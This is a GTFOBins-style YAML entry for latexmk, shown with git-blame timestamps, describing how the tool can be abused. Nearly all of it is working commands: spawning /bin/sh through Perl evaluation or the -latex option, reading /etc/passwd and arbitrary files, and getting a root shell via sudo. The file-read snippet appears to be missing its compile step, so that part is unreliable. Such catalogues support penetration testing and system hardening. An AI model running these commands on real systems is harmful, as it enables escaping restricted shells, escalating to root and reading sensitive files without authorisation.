2022-07-03 17:33:51 +02:00
|
|
|
---
|
2021-04-26 16:06:18 +02:00
|
|
|
description: This allows to execute [`perl`](/gtfobins/perl/) code.
|
2021-04-22 22:15:40 +02:00
|
|
|
functions:
|
2021-04-26 16:06:18 +02:00
|
|
|
shell:
|
2022-07-03 17:33:51 +02:00
|
|
|
- code: |
|
|
|
|
latexmk -e 'exec "/bin/sh";'
|
|
|
|
- code: |
|
|
|
|
latexmk -latex='/bin/sh #' /dev/null
|
2021-04-22 22:15:40 +02:00
|
|
|
file-read:
|
2022-07-03 17:33:51 +02:00
|
|
|
- code: |
|
|
|
|
latexmk -e 'open(X,"/etc/passwd");while(<X>){print $_;}exit'
|
2021-04-26 16:06:18 +02:00
|
|
|
- description: The read file will be part of the output.
|
|
|
|
code: |
|
|
|
|
TF=$(mktemp)
|
|
|
|
echo '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}' >$TF
|
|
|
|
strings tmp.dvi
|
2021-04-22 22:15:40 +02:00
|
|
|
sudo:
|
2021-04-26 16:06:18 +02:00
|
|
|
- code: sudo latexmk -e 'exec "/bin/sh";'
|
2022-07-03 17:33:51 +02:00
|
|
|
---
|